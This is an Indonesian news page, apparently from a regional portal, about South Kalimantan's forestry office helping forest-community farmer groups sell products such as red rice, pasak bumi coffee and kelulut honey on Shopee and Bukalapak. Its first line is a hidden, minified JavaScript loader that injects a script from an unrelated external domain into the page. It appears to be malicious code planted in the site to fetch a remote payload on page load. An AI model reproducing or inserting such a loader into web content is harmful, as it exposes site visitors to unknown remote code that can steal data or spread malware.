(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Wow, Produk Hutan Kalsel Merambah Pasar Online!


BANJARMASIN, Berbagai produk hasil hutan dari rimba Kalsel kini mulai dipasarkan ke publik. Bahkan, sudah pula merambah ke pasar online. Seperti di Shopee dan Bukalapak.

Beberapa hasil hutan tersebut antara lain, teh celup pasak bumi, madu kelulut, beras merah keramat, kopi pasak bumi, dan madu manis Meratus, serta aneka produk lainnya. Hasil hutan tersebut dikemas secara modern, tak kalah dengan produk yang sudah beredar luas lainnya.

Kepala Dinas Kehutanan Kalsel, Dr Hanif Faisol Nurofiq mengungkapkan, pemasaran berbagai hasil hutan tersebut adalah untuk membantu usaha masyarakat sekitar dan di dalam kawasan hutan.

“Usaha warga yang dulunya dilakukan secara tradisional dan sederhana, kita bantu dengan pemasarannya secara modern. Sesuai dengan perkembangan revolusi industri 4.0. Di mana hasil hutan bisa dijual melalui pasar online,” cerita Hanif, Selasa (27/5).

Salah satu bagian penting dari revolusi industri 4.0, lanjut Hanif, adalah market e-comerce yang menjadi kewajiban para produsen dalam memasarkan produk. Termasuk di sektor kehutanan.

Ia mencontohkan, beras merah keramat misalnya, agar bisa berkembang dengan baik, Dinas Kehutanan Kalsel memfasilitasi produksi dan pemasaran hasil hutan bukan kayu (HHBK) yang dihasilkan oleh Kelompok Tani Hutan (KTH) Gunung Mandaling dan Patas Jaya, Paramasan Bawah, Kabupaten Banjar.

Sekarang, lanjut dia, untuk membeli beras merah keramat itu, masyarakat tak sulit lagi. Karena telah difasilitasi penjualannya melalui situs-situs jual beli onlie besar di Indonesia. Yaitu di shopee dan bukapalak. Tinggal searching nama beras merah keramat, maka akan bermunculan produk tersebut. Lengkap dengan harga dan keterangannya.

Begitu pula dengan produk hutan lainnya, seperti kopi pasak bumi, teh celup pasak bumi, madu kelulut, madu manis Meratus, dan kopi aren Meratus, dengan mudah bisa diperoleh dan dibeli. “Fasilitasi ini kami lakukan agar masyarakat yang memproduksi hasil hutan bukan kayu mendapat pasar yang lebih luas. Sehingga, ekonomi mereka secara bertahap bisa terangkat. Dan, tujuan akhirnya adalah masyarakat sekitar hutan menjadi sejahtera,” katanya. (dishut)

Reporter :Dishut
Editor :Cell

Desy Arfianty

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

11 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

11 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

18 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

19 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

22 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

23 jam ago

This website uses cookies.